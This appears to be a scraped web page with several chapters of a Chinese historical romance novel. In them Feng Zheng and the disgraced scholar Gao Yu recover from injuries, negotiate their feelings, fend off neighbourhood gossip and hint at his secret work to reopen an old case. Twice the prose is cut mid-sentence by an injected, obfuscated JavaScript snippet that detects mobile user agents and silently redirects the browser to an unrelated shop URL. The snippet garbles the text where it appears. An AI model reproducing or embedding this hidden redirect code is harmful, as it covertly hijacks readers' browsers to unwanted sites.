可他就是在壁前停了许久,手指无声拂过字眼,对着没什么内涵的镂刻细细研读。 他缜密有礼的模样一如既往,好像已经不记得,将她扑倒在箭雨下,受她挽衣处理箭伤之时的冒昧亲昵。 仿佛他们怎样逾矩都无可指摘,事后除了相互答谢,一句说辞也不必有。 冯筝定睛凑近庙壁,手指抚在文刻上,学着与他共读一壁。 壁面手感平滑,手指有意无意地朝他贴近,每当好悬就要搅在一起,又次次被他曲径避开。 高豫从皮相到性情,处处透露着一种“博我以文,约我以礼”的修养熏陶,每每打起交道,似乎永远不用担心会与他发生正面冲撞。 冯筝没低估他的礼数,不想竟高估了他的耐性,当指尖摸着雕文竞逐,又一次要缠在一起时,突然就被人反手攥住。 高豫扼腕拉近,冯筝反应极快,在撞到他怀中的瞬间站稳脚跟,没等说点什么,一双十指相扣的手就被举到了眼前。 “慈爱无边,爱戴亲昵?” 十指交扣,暧昧惹眼,说不出到底谁先扣的谁,却在慈爱和爱戴的关系中不可能出现。 他就举着这双手,把她那副自比晚辈身份的说辞无情击破,强有力的质疑当前,感觉别提有多糟糕。 冯筝慌张,下意识想解释说,怪他突然拉扯害得她失足趔趄,她一顿情急,所以本能握住能握的一切。 好在理智迅速回笼,忍住没解释,只要不承认,他们之间,未必是她先合的指缝。 她早就觉得,这画壁没什么好研究的,想必是蓄意等着她钻圈套吧? 冯筝责备他,恼羞成怒地责备他,没脸没皮地责备他,不忘松手撇清一切。 但他们的手就像鱼线一样缠在一起,一方不收钩,根本甩不脱。 没得到中意的答案,高豫又问。 “慈爱无边,爱戴亲昵吗?” 冯筝避无可避,“哪里出问题了,一定是哪里出了问题。” “哪里?” 有差错有问题,直面它处理它就好,但哪里出的问题,谁先出的问题,一时间谁都没出声。 冯筝脑海翻涌,不期然出现他缚眼缚手,迎着高窗引颈挣扎,以及秉烛宽衣的凄美画面,这样一走神,免不得被他绕了进去。 高豫:“你不回答。” 32. 第32章 他简短地陈述事实,语气静默笃定,没有丝毫未尽之语,却将两人关系超前推进到极致。 这种不回答就代表心虚,心虚就等同于默认有非分之想的意思,把冯筝架得有些下不来台。 不管事实是她顺着他扼腕的手先扣的他,还是她害怕跌倒而本能回握,这些都不重要了。 她解释是情谊而非情意,讲清他们谁都没有问题,至于高豫,之前用酒香给她递台阶,她接受了,此时她好声好气地解释,他一样也该顺坡而下。 高豫叫醒她,齿关抿出她的姓名。 “冯筝,瞎蒙是过不去的。” 他郑重其事地讲这些,仿佛片刻前盯着焰心一筹莫展,就是思考这种小事。 翻篇翻不过去,冯筝静下来,终于后知后觉地感到失策。 先前就预想过,把关系闹僵尝不到甜头。她止不住地宽纵自己,完全相信以高豫的圆融练达,哪怕跟他闹腾点什么,他也有办法化解,以至于他们不会有僵持的时候。 然而这种想法,已经在手指搅缠在一起的情形下不攻自破。 屋漏偏逢连夜雨,一点残存的薪火扑熄,只剩微弱的芒点在柴火堆挣扎,破庙彻底暗下来,气氛想不凝固也难。 “不是无凭无据拿你问话。我种种猜疑都有根据,比如,你似乎对观赏我这件事乐此不疲。” 周围静如沉潭,说实在话,她不喜欢这种心思受控的感觉。 他微敞衣襟被她撞见,她碰巧饱了一顿眼福,之后端着水碗品出甘甜,也绝对不是观赏他的脸才有的滋味。 她对高豫,充其量只是欣赏,冯筝稳住自己,她倒要看看,她不回应,他能编出什么花样。 “你有火折子。”高豫提醒道,“冯姑娘,点个灯吧。” 这就是要摆阵仗,堂堂正正处理问题了。 孙崇福遗落在库房的火折子,脱困前被她收为己用,这事没能瞒过高豫。 冯筝听出催促意味,气势也不弱,添火回灯一气呵成,无意间踹到条凳,又“哐当”一声摆正,刚一落座,高豫紧跟着撩袍坐下。 冯筝裙稳身正,望着他这边,没有说任何字,却莫名让他联想起,昔日那些不驯的同窗,面对先师施润章手执戒尺,既惧怕又硬气,趁施老正式发难前说的那一声,“来。” 但冯筝是不怕他的。 哪怕一样认真凝重,她黛眉松弛,应对他接下来的手段,状态也是期待而又随意的,甚至有点轻视轻慢。 冯筝确实挺自如,当他一改从前的清静宽和,手执明火朝她递近,把燃着的火折子,直接塞到她手里之时,她尚且还在自宽地想,凭她这种半默认半澄清的态度,关于他们的关系,他能编出什么花样。 火苗发烫,她手腕微颤,一点芒火落到他衣摆,快要把他烫穿个洞。 她应激般后退了些,却被人一把握住手往跟前带。 “拿近些。”突然拢近的火烘亮他面庞,“我想你能看清我。” “你跟前这个人面目可憎,败绩半生,前途踽踽如危楼塌,不值得任何女子托付真心。革除官籍不能洗清他的秽名,只会强调他是罪臣后裔。他有冤屈要陈,动摇太多人根基,注定成为公卿贵胄的眼中钉肉中刺,谁跟他作伴,只能让士绅挞伐中多一道牺牲。” “我自顾不暇,说不定哪天又得被打落囹圄,若有人对我寄托情思,连累最重的只会是她。” 他用手指包裹住她,挡下所有落落芒火,“——到那时,没人记你的好,无人念你的善,仕人笔墨喉舌,从不会因为你是女子而轻饶你。” 芒火越落越多,灼穿单薄衣袍,他本就褴褛的衣裳哪里禁得起这样糟蹋,但他避也不避,生生忍住痛觉说完,只为让她彻彻底底地“看清”他。 冯筝盯他半晌,轻慢荡然无存,本来还在尝试熄灭,一时吹不灭,放弃了较劲,随便他攥着火折子朝他自己倾倒,硬是安静地听他说完。 火再烫,也没有他一番肺腑之言烫耳朵,她停顿稍顷,终于噙起冷淡的笑,甩手将火折子丢进了火堆。 啪嗒一声脆响,是里面薯藤芯烧坏的声音,冯筝拍拍灰,抬起难解的眼神看他。 “还以为能编出什么花样把我唬退,不过是把自己踩进烂泥里,好让姑娘家萌生退意。真奇怪,曾经困在诰狱里都能顽守清白的人,怎么如今自由身了,反而揽起秽名,跪着写起自罪书了呢……” “人的感情是复杂的,没有什么非憎即爱,爱憎以外还有顾惜,不过你这个人,既不可憎也不可爱。” 高豫睫羽微颤,轻微到可以忽略不计的颤动,在冯筝越过他出去透气的途中调整如常,他克制住回头,没让自己神思紊乱下去。 冯筝望着他软塌下去的背影,踩着稀碎的月色,在这有惊无险的大夜里,自问说了一句让他称心如意的话。 “你其实不必多虑,我生来善于审时度势,掂量得清好坏利弊,跟谁好,不跟谁好,都是我自己的事,用不着旁人来跟我释情说理。” -- 郡地的官兵将这路匪贼押解回城,点验完收缴的箭弩等兵器,天际刚好泛起亮白。 新晨的凉风擦过颈,带起一阵细密战栗,但这战栗未必是觉得冷。他们前前后后捕获四五十人,押进官廨的匪徒,像一茬接一茬割不完的麦,更有精良的军械收缴入库,让班房的人看得一阵振奋。 扶陵物资匮乏,他们破获此案后因功请赏,收缴的军械,大多数落回本城腰包,可以缓解武库军需。 封山权是第二天批下来的。朝廷容缺后补制度完善,允许事态紧急时自主决策,调遣兵卒攻山,事后追补手续即可,只不过郡守府的书房,又要挑灯续昼,连夜写奏牒说明始末了。 官府忙着清算贼匪身上的旧案,更早以前,元逢等人已经接应到冯筝,一起把高豫送至医馆。 坐诊的郎中有点碎嘴,看完伤后啧啧咂舌。 病患满身伤筋动骨,从肩膀到膝窝,一路遭过不少重击,膝盖骨也没接好,加上后来运动密集,关节磨损严重,能拖一夜全靠硬撑,简单处理的话,迟早落下病根。 跌打损伤的药远远不够,说白了得卧床静养。冯筝点点头去付诊金,又到隔壁街的药堂抓药取药,回来的时候,高豫上半身已经密密麻麻贴满了膏贴。 两护卫习武出身,这一趟行程,以高豫骑马姿势,早就看出他并非文弱之人。 但突围匪群并不简单,回忆起他肩膀上的贯穿伤,两护卫额角还冒虚汗。 有护卫们帮衬,他脏污破损的衣裳已经换掉,膏贴隐隐发热,他坐在榻上稳如牢钟,额角汗珠细密。 他只披一件中衣,显然不方便动,元逢发现姑娘回来了,擅自伸手,把他腰侧的绊带缠得更紧了些。 高豫没理睬这些,早就被扎针上药折腾得疲惫,偶尔走了会儿神,没注意到护卫的小动作。 他衣袍灰素,毫无光鲜可言,坚持没躺卧,似乎有意等谁。冯筝从外面进来,高豫牵回飘远的思绪,轻轻推开旁人。 冯筝提着一摞药,没打算往里走,“你在等我吗?” 自打留在医馆时起,又或者说,自打昨晚出山以后,高豫话就少了许多,亲眼看着他们忙前忙后。 她脑后有轻微的钝箭伤,郎中说等消肿便好,而他依郎中建议,接受了卧床静养的安排。高豫向榻边坐近,对耽搁了行程表示歉意。 “多余说这些生疏的话。你是因为我而卷入祸事,我自然得对你的伤病负责,我已经去信符府说晚一些到,不着急赶路,你安心养伤,就是对我最大的慰藉。” 冯筝把手里的东西拿给元逢,让他留在医馆煎药和照看,自己则带着元值,去官府以及回客栈料理余事。 元值暗暗纳闷,昨晚事发惊险,经此一遭,他们也算有过命的交情,理应更亲密融洽才对,却隐隐发觉,这趟回来,反倒变得生疏隔阂。 不过,这对两护卫而言是好事,姑娘毫发无伤就是最好的结果。 元逢这就去煎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057312|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,情绪克制收敛,元值的轻快却遮掩不住,收回探究的一眼时,还高调地应了一声,才跟上姑娘离开医馆。 晚些的时候,捕吏奉郡守之命送来抚恤银,高豫没说别的,由着元逢替他收下,喝了一盅药养够了精神。 他把荷包换成了大一点的绢袋,装满银钱递给元逢。 “帮我交给她。” 元逢知道他在指冯筝,也知道这不可能是他全部家当,但换过的衣裳他经手过,元逢很清楚,这只怕是他所有的现银。 他迟疑地问出声,高豫无奈地笑。 “不是跟她清算一切,也不是要跟你们分道扬镳。我答应过冯公,要亲手送她到淮阳,所以只能厚着颜面,后半程成为你们的拖累了。买药花销不小,不能每回都叫她替我垫付,这些钱,就当是我提前请罪了。” 高豫精打细算说这些,考虑体贴,也无疑把一行人关系推远了些。 出门在外,银钱当然是多多益善,元逢接住绢袋,看他这般见外,终于觉得之前的提防有点多余。 说到底,他们三种姓氏临时搭伙,各有各的生疏也挺正常。 不管他和姑娘之间,闹过别扭还是闹过不愉快,元逢把随从的德言容功落实到极致,一句也不多嘴,只管依姑娘吩咐,打起精神帮他尽早恢复。 冯筝在官府写完自述笔录,紧赶慢赶回客栈去,遥遥看见,孙记杂货铺贴了封条。 元值适时解释,“听衙役说,孙记的掌柜窝藏贼匪,替案犯谋便利,官府以同伙追责,已经查封店铺,连带治了他的罪。” 冯筝示意知晓,没逗留半步,买齐肉脯胡饼等干粮,就回客栈把宝货打理了一遍,轻手轻脚垒进箱笼,指挥护卫抬上马车。 转头回到客房,又把行李收拾妥当,一副箱笼盖一合就能直接走人的模样。 元值有些懵,没记错的话,姑娘一会儿前还嘱咐高豫静养来着。 “姑娘这是……打算把高郎君留在扶陵养病,咱自个儿上路?” 冯筝对他这想法暗觉好笑,她摸上脸颊,算起来,她是有好一阵没笑过了。 “我看起来就这么薄情寡义,薄情到把救命恩人丢在这自生自灭,自己悄悄卷铺盖走人?” 元值汗颜,“当然不是,姑娘重情重义,放不下高郎君,也放不下符乡君,我以为你是考虑到路上颠簸,这就不劳他相送,准备独自去淮阳。卑职猜错的话,就当我没说。” “不过,即便姑娘真有这种想法,咱们兄弟也是会听命的。” 这时候表忠,冯筝注意到他,蹲在快要收拾好的箱笼前,用心打量这护卫,想起来貌似叫元值。 男人二十出头,下巴冒出青涩的胡茬。还记得昨天在衙房跟郡守闲聊,惋惜胭脂买贵,循动静回头瞧他时,他下巴尖还是挺干净的,一夜未见,竟愁得连胡茬都冒出来了。 她失踪一夜,官兵围山不缺人手,他们在官廨门口蹲守到天明,如何煎熬过来的可想而知。 元值被她看得不自在,加之这是客房,屏风很小,一眼能望尽卧榻被褥,还有云燕尚在时,给她用裙幄搭的帷帐,一眼细致入理,所以房门边也不宜久留。 冯筝叫停他,她一忙起来就手脚不停,所以才显得着急走,耐心解释了这些,也没瞒他,说出自己的想法。 医馆病榻的租钱不贵,但病人多的时候,灶炉紧张,客栈环境喧嚷,也不适合静养,而养病也不是非得在扶陵养。 简而言之,她打算改变之前车马兼程的走法,走一阵住一阵,算算剩余的里程,准备在前面的州城租个院子,安顿一阵再继续行路。 元值觉得合理,又觉得哪里缺了点什么,迟疑一问,“高郎君也是这样想的?” 高豫此人,既有主见,也有成算,这一路走来,姑娘和他凡事都是商量着来的,很乐意互相交流意见。此刻三言两语,就这样把他安排了,冯筝头也没抬地把箱笼合上。 “很可惜,按他现在的情况看,只能任凭我摆布了。” 33. 第33章 短时间造成的伤病,起初不显露山水,连续赶路的劳顿,还是令高豫膝伤复发。 不远就到淮州境,他们没再兼程赶路,按之前的安排,在静巷里租了一间带小院的宅子,遵照医嘱让高豫静养。 意识到自己病情不稳定,高豫没有逞强,由着随从照料起居,却还是在卧床的第三天没忍住下榻,去守厨间煎药的灶火,让护卫两人歇歇手脚。 他躺不住,无关乎病弱无能的模样令男子蒙羞,只因启程时还许诺做陪护,现在这样颇受照顾,总该有种主客颠倒的自觉。 细细算来,落脚宅子已有三天。虽然绝大多数时间,高豫都是在榻上度过,却不妨碍他感受到,借宿此处,和住客栈时的心情大相径庭。 宅子在深巷转角,两进两出,傍街而居,他住的卧房是靠里面最安静的一间,偶尔还是能听到邻里闲谈。 每当冯筝带人出门,此前还礼貌热情的邻里,转个面就议论起屋里养了个短命的夫郎。 药渣一天一倒,夫郎缠绵病榻,凭汤药吊着最后一口气,眼看气数将要到头,姑娘快成新寡,她们唏嘘叹惋,商量着给她撮合婚事。 自此,本就一心复健的高豫起得更加勤了,除了小幅度活动筋骨,有时也起夜点灯书写。 邻里这厢起了主意,就时不时绕到他窗前,打探他什么时候气绝,突然目睹他的康健,撞见他的勤奋,议论他命数长短的聒噪声终于停了。 好景不长,他还死不了,劝和离的说辞便蠢蠢欲动。 这些天冯筝经常出门,不知道在忙碌什么。院墙隔音不好,越轨的言语飘进窗子,高豫无法听之任之,终于敲响了那扇虚掩的门。 没得到她应允,高豫不会硬闯,听到声音,伸手推门而进,里面冯筝正在梳妆。 发带垂落在她肩侧,发鬓收紧处簪有珠花,哪怕身边没有女婢,她也总是能将自己收拾得熨帖精致,除非她不想。 循着镜中的身影回头,冯筝齿间露笑,摆手将旁人屏退了些,高豫这才察觉,两护卫双双在场。 这令他突然有些凝重,莫说屋里南北迎光,视野通透,就说两名护卫劲装佩刀,出现在女子居室,理应很难隐去存在感才对。 他却对此毫无感知,只注意到那簇珠花轻晃,还有配它的人齿白如玉。 他可以疏忽大意,可以意动神摇,却绝不能是养病养废了的人。 这里不是自省的场合,高豫神色如常,“主屋很久没有动静了,我放心不下,便来看看。” 他主动说话,也算解释了他出现在这里的缘由,她满眼了无生趣地转回去,他又轻点下头算作告别。 早在高豫敲门时便没有出声的护卫两人,一直到他走了,也没有多余的动作。 他们已经彻底看出来,自那夜出事后,二人较之前亲善和睦的关系变化很大,眼下高豫难得来找,没说几句就要告辞,这种异样更明显了。 唯独冯筝看起来若无其事。 她款款梳理发丝,继续算着近期按大夫新写的药膳方子抓药的账,声音轻松自然,一直以来都没什么不同。 元值跟元逢对视一眼,接过她哪怕不够结租也要拿去换药的银子,闷着躁郁出了门。 没多久冯筝也出了门,每当他们各忙各事,便剩高豫一人守家。 高豫没忘,自己去找她所为何事,可他既已放弃,便不再纠结这个问题。 闲言碎语虽不讨喜,可一旦把自己的视角抽离出来,不把自己当夫郎看待,闲话便也不再刺耳。 但他还是没待在卧榻,听邻妇劝她和离的话题商量到哪一步了。他守在厨间,往灶膛里捅了两根柴,然后坐在矮板凳上,对着灶上热着的两盅陶罐定神。 陶罐飘出药味,应该都是药膳,旁边架着一口清锅。他们用清锅炖过野鸽,声称滋脾补肾,在他病情好转的那天给他分成了三餐,他不得已,在她期待的眼光中赏脸地吃了精光。 唇角牵出弧度,而又徐徐展平,他神情专注地守着陶罐,灶底炭火不旺,文火煎不沸水,他却迟迟没有添薪助火的动作。 高豫眼神专注地感受着这股熟悉到刻骨铭心的寂静。 仿佛回到了多年前,被新上任的观察使磨掉耐心,为了争取调度的机会,连夜破获要案,迟迟来到灶房捡残羹剩饭饱腹的时候,那人出现在灶前,惋惜了一声,“还是太年轻。” 王勉稳居高位,熬得鬓角斑白,跟他相比,他确实年轻。 但是年轻是过去的,现在的他可能更多的是老气横秋。 是什么时候开始老去的呢? 生活是紧凑的,年岁是模糊的,他试图追回点滴记忆,摸索忙碌中被忽略的时间。 他于进士及第后的第四年除臣籍、议刑名,于虚岁二十四革功名、贬白身。在这个世间评判男子最该意气风发的年纪,他将鸿图大志雪藏脚下,于诏狱中掉头,义无反顾地走向翻案的征途,如今回过头来却发觉,他连自己的年纪都快忘了。 二十四岁的高家次子,可能不那么可憎,但也绝不会可爱——审理台上官威如狱,他强忍着新旧反复的刑伤,曾可耻地奢想过,那些处刑的上差当中,能否有人,舍得施舍给他一点柔情,让他挺刑时能够好过一点。 辗转三司大狱期间,他曾屈服于生存意志,顺应自保的私心,于生父伏诛的当夜请来纸笔,却写自己的昭雪策,将毕生所学“推勾断讼”,用于挽救自己险将狼藉的声名。 佞臣伏诛的消息传遍狱所,审官见机提他来审,突破他心防。那些供人差遣的狱卒,提着铁链棘鞭,役鬼般缠上他,誓要他写出揽罪之词,他见招拆招,吐出过许多违心的话。 这样贪生且凉薄的人,怎么可能可爱可亲? 在惜命这一点上,高豫无疑是坚韧的。 他不会因为惜命而低看自己一眼,不会因为替自己昭雪而感到羞愧,却在高相背负骂名以后,抚灵葬骨写白字碑,事后抚衣而起,茫然四顾不知往哪里去时,到底感到过那么点缺憾。 这种抱憾入他数百个梦,直到脱困囚籍后的小半年,稳定踏实地向翻案努力,手段百出搜罗证据。颠沛流离的除夕夜里,披着夜色,回到隆福寺那一角陋室,百姓燃灯祈愿,无数长明灯当空,他才从万家灯火那一点余烬中,重新找回些归属感。 高豫定了定神,回顾自己乏善可陈的生平,算了算翻案的胜算,重新审视要走的路,对有没有必要像刺猬一样,把亲朋故友推开,只剩下他一个人这件事,第一次产生了怀疑。 他好像回到了更近的以前,那时他刚脱困囚籍,为救亲眷登堂争讼,暂抛他的尊严,在饥寒交迫的生活里疲于奔命。 那时他也是这样踽踽而行,为了解决温饱,独自临着灶火,根本没有闲情去感知孤独与否。 无人在意他困时冷暖,无人关心他刑伤未愈……更不会有人,在他行事有失时纠正他,跟他说一句,这样是不行的。 “这样可不行啊,三郎君!” 高豫浑身大凛,意识回笼的刹那,看到冯筝半蹲在灶前,拨旺那一簇微弱的火。 “这点温文尔雅的火,可得煎到什么时候?药材久煮不沸,药效很容易流失,这样肯定是不行的。” 厨间简陋尘仆,脏她浅色罗裙,但她毫不在意,捡起蒲扇把火扇旺,走来走去忙个不停。 她揭开陶罐,一缕甜丝丝的清香顺着罐沿冒出来,高豫终于发现,这两盅陶罐,并非如他所想全都在煎药。 一晃数天,她已经学会掌握火候,眼看差不多了,取来一只碗念念有词。 “隔壁街在卖青梨,卖梨的婶娘教我切片炖汤,说它降燥明目,跟药补过旺的人是绝配。我虽然对她的说法半信半疑,但梨汤却是真的鲜美,闻一下就会香迷糊的那种,所以……尝尝看?” 高豫一身鸦灰色长裾,静默如霭,和这灰扑扑的厨间几乎融为一体。她自顾自说着话,这灰扑扑的高豫,不知何时起有了神采。 这碗纹路精致,和厨间那些碗口粗粝的不太一样,是她从随行箱笼中翻出来的,吴阿姆事无巨细,连用碗的情形都照顾到了。 冯筝连连感慨,属于两个人的热闹蔓延开,高豫越来越热络地跟她搭腔。 冯筝意料之中,她都这样不计前嫌,跟他维系情谊了,他怎么都会卖她情面。 高豫捧碗咬碎一枚梨片,哪怕舔齿舐舌,吃相也斯文优雅,赏心悦目。冯筝感到满意,这回刻意没看太久,后知后觉地想起来问,“刚刚你来找我,是有什么事吗?” 咽掉那些闲言碎语,他轻松道,“很久听不到你的动静,我特意前来,是恐有异样,不放心你。” 冯筝疑问,“有多不放心?” 他缓缓笑着,更多的却不肯再说,但这怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069210|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能令冯筝满足。 刚痛快一半又无疾而终,隔靴搔痒般难受极了,冯筝靠近,眼神晦暗地缠他把话直说,一个字也不许少的那种。 他既没有不耐烦,也没有给她个痛快的回应,他眼神熠熠趣意横生,对这追问和缠闹有一点享受。 冯筝怀疑自己看走了眼,没好气道,“难道我不该追问吗,你这样含糊其辞,还怎么跟我重修旧好?” 很寻常的字词,高豫手腕一僵,无意联想到旧情复燃。汤药刚好煮沸,他激灵间起身,顺势去揭那炉盖,略微绷紧的腮帮暴露出一点失态。 他还没好利落,突然起膝,失手打翻炉盖,冯筝从磕碰的脆响中回身,连忙捉起拴药罐的提柄往旁边搁。 他熄弱灶火,在冯筝转过来时,侧身挡了一挡烟尘,忍着被灰呛到的咳嗽,维持他尚算平稳的话语。 “你关心我伤病,而我同样挂念你安危,刚才踏足主屋,见你无恙我也能放心。我受照顾太多,哪还有脸面跟你摆谱,你愿意对我尽释前嫌,我当然乐意重拾情谊,来跟冯姑娘重修旧好。” 灶火熄静,台面上的药屑也被他清理妥善,他忍着咳意去其余狼藉之处揽活,药都没顾得上喝,还记得腾出空来回答她的问题。 冯筝看着他病情初愈,却好像仍有点疲弱的样子,有点担忧,喃喃自语。 “内服外敷通通没落下,没道理更严重对吧?” 高豫放下抹布,稳步端起药碗。 “确实没道理,所以我有在好起来。” 他把陶罐温在灶上,预备晚间再用,乖觉模样看在冯筝眼里,也跟着心安,冯筝再没管他,放心去摆弄自己的事情。 高豫在附近走动,眼前偶尔晃过她忙碌的身影。有时翻动箱箧,对着簿记清点金银细软,有时擦洗铜镜,把梳篦轻巧地码进妆盒。 她一刻也没停歇,又总是随意间就停下来,哪怕擦铜镜的手帕还没拧净,捋到胳膊肘的袖褶还未拉下,也照常站在门前,与邻里婶娘带笑寒暄。 她们问芳龄问婚配,热情洋溢地把她包围,冯筝摆摆手,胡扯道,这趟就是准备回娘家探亲。 婶娘们偷偷起哄,说难怪她那位郎君如此要强,没日没夜地勤恳锻炼,将自己养得硬朗起来,好回岳丈家给娘子争脸。 般般祝福盛情难却,冯筝哑然失笑,顾左右而言他扯偏了话题。众人嬉笑间露出她的身影,高豫停下脚步,蔚然想到,她应该能够应对自如。 高豫注视声光凌乱处,便是此刻发觉,她的身上,少有当前世俗门第惯爱撑起的花架子。 上到郡官下到妇孺,跟他们打交道,她有自己的一套章法,她既能做到守理知节,也很乐意删繁就简。 这种跟冯公相契合的简朴随和,让他对这对祖孙,隐隐生出些同宗同源的好感来。 好感隐隐拔高,和钦慕模糊边界,等意识到自己好像捅破了什么,高豫额心蹙拢,思索起一件天大的事。 冯筝再有章法,也没这群走街串巷的女妇嘴皮子能耐。 婶娘们调侃少夫少妻,点灯烧炭持续到深夜,冯筝脸色尴尬,解释起来越描越黑。好不容易摆脱了玩笑,带着难言的心情脱身,关上门,回头就看到高豫一身鸦灰向这边走来。 他毫不停留地朝外迈步,隔着三步短阶的距离,仔细看她。 院子隔音不好,刚刚那些戏言,想必已被他听全,冯筝稳住表情不崩,迎上他时二话不说,挽住他胳膊就往回带。 偷偷摸摸的阵仗,颇有一种不小心让丑夫见了妻族的羞耻感。 高豫倒没抗拒,知道她只是耻于面对这种秽言,他驾轻就熟地回握了下她,继而放手,由她领路回到内宅。 “流言于我事小,你的名节事大,歇息了这么久,我觉得腿脚灵便多了,赶路没有问题,你若介意被邻里嚼舌,我们随时都可以结租离开。” 冯筝想不通,他们这些男人,怎么个个都爱把名节挂在嘴边。 她不是头一回被人苛重名节,上回提醒她守节的话,还是香积山中拜奉礼贼所赐。 但实质上又有些不同,奉礼贼对她,带着一股视如己物的管束,高豫对她,却有种看待晚辈般的语重心长。 思来想去,她心安理得地答应了提议,“倒也是个办法,反正行李不多,收拾起来不费事,那便按你说的做,我们这两天就离开。” 34. 第34章 可能是冯筝想试探他腿脚灵便的真假,也可能高豫夜夜起榻书写,用废大量纸张,需要出门补一补库存,不知如何打的商量,他们拟好行程就结伴上了街。 书铺前阵阵喧嚣,站满身穿襕衫的学子,新造册的卷籍刚抬出来,就挤着脑袋抢购一空。 书铺销售卷籍,也会贩卖笔墨纸砚,附近只这一家书铺,高豫前来买纸,既没为眼前情形而感到不便,神色也没多意外。 景象很热闹,路人接连驻足,冯筝定睛再看盛况,联想到时年时节,豁然看懂了原因。 两名青衫黑幞的学子停在一边,觉得摩肩擦踵有辱斯文,保持观望。 “今年岁试颇受重视,听闻朝廷下派了州衙大吏,考前巡访各地考纪,推算下时间,想必近期就要动身了。” “何止大吏巡访,岁试地位等同于秋闱,礼部列明的规范甚多,真履行起来,应试的过程也会变得麻烦一些。” “这有何要紧,规范多是好事,免得有人钻制度的空缺暗通款曲,只要能考夺京官,再麻烦也不碍事。” 谈起京官梦的人,望着里面的情形忽道,“张兄可曾听说,市面上出的这题集,传说能凭出卷官的喜好去猜题眼,传的神乎其神的。依我看,指不定就是薅人钱财的噱头,这种鬼话都有人信,可笑书都读到哪里去了。” 他既不齿又好奇,眼看同伴张敞上前,唯恐落后,也别扭地挤进了书铺。 往年岁科大考都在年底,受江南科场案的影响,时隔一年才恢复考制。这一年间,知贡举借行卷制度之便贿通贵胄,泄题被揭发,部堂圆审打落了一批公卿,贯穿初代王朝的行卷制度被废除。至此,岁科正式成为科举取仕的补充门路,为朝堂纳贤提供了更多的可能。 两年前的岁科划出了地域,今年经过六部集议,生籍由江南移到淮北。贡院在惠、宣、淮一带的郡府布设考地,方便淮北学子按籍参试,而这一举措,也助推该年秋末时节,形成学事热的特定景象。 所以说,一旦知晓岁科在即,就不难理解眼前情形。 向前攒动的背影愈发多了,冯筝收回视线,看到同样旁观着的高豫有了动作。 病愈后的高豫脚步轻便,只要不像在厨间那样,突兀撑膝起身,就看不出任何不便的地方。 本以为他会以灵便的身段挤出一条道来,却发现,他并没有进书铺的打算。 他从窗格探进手,向里头的店家递钱买纸。 宣纸、白棉纸、蚕茧纸都是上好的纸,生宣稍次一点,但也够用了。店家简单思索后,朝旁边招招手,示意帮徒带人去库房取货。 买纸可以隔窗交易,取纸却不行,书铺里乱成一锅粥,还是免不了趟一遍热锅。 干冽的天,隐约能呼出白雾,一阵风驱散烤粮摊上的热气,冯筝抚上胳膊紧了紧手,回到书铺的时候,怀里多了一包碳烤栗子。 半盏茶的工夫,他也终于从一群翻动着题集卷页的人群中走出。 他们衣摆摩梭,白底襕衫里走出一道长裾,如雪雾里穿出一条灰线,高豫逆流而鲜明,稍稍站定,听到她问了一句“要不要尝尝”。 栗子滚烫,裂壳醒脆,高豫笑纳一颗,听到冯筝问到行卷制度,回顾起这段他尚算了解的历史。 行卷是指应举者在考前把所作文章写成卷轴,投送朝中显贵,以此达到延誉的预期,即借声誉噪起,提前获取伯乐赏识。 “但割裂的是,声誉与做官并不能划等,科举取仕的硬制度下,明经科和进士科仍是进入仕途的两道门槛。” 然而,进士榜揭榜后,当名挂榜尾者媚调笔锋,行卷谋求举荐,期以在部院颁职以前搏到个好名次,行卷制度便开始背离它延誉的初衷。 渐渐地,有人把它类比“投牒自举”美名化,权贵营结、公卿请托的弊病也随之露出痛脚。 庆帝苦行卷制度久矣,朝堂答议的时候,曾拿朝中两位能臣作拟,照庆帝的话来说,“在这种科场风气下,被掩埋和隐藏的,只能是更多不知名的符仲玉和廉应殊。” 不得不说,各种药进膳补确实有用,高豫出声回顾完这些,仍能气息尚稳。 冯筝静默了一瞬,知道圣人提到的是淮阳符老符仲玉,以及当朝太傅廉应殊。 符老乃她远房表亲,至于廉太傅,她没记错的话,就是奉礼贼煞费苦心想攀上的岳丈。 冯筝没在意这些细节,听他提到过往,捕捉到一些细致的点,突然后知后觉地想到,高豫授官之前,太学院内,已经结识了他的先师,集贤殿大学士施润章。 好在秋闱那一年,他无心向先师投文延誉,没成为行卷制度的受益者,所以去年案变以后,行卷旧制把科场搅浑,御史们大翻旧账,连数多次榜名调动,痛陈满朝文臣的进士籍有疑的时候,那些痛陈痛骂的鞭子,没有打落到他的身上。 好处说多不多,至少让他被困囹圄,顶着清名替自己鸣不平时,始终直得起腰背和脊梁。 冯筝捂着碳烤栗子,眼神不自觉变得凄迷。高豫见机转了口风,和她冒雨放飞雪鹞那夜,一番豁达宽容的话相似,声称要跟旧案割席,等科场案完全掀篇,一切都会好起来。 “不对。”冯筝否定道。 “三郎君韬光养晦,不惜牺牲睡眠,也要起夜书写,废簏中的纸张一页页焚烧,灰烬飘出窗沿……郎君深夜焚稿,焚的什么稿?” 她倏地止步,一扫凄迷脸色,转变来得如此之快,高豫转过身来,乌睫悠然一定,相当凛冽地锁了锁她。 冯筝心府一振。 她蒙对了。 点灯烧炭,写稿焚稿……一个梳理完就要毁迹的东西,可能是会招惹祸端的把柄,也可能是一套隐秘的证据逻辑。 更有可能,直接是一张捧到御前的状纸。 所以她猜得没错,他很清醒地在坚持翻案。 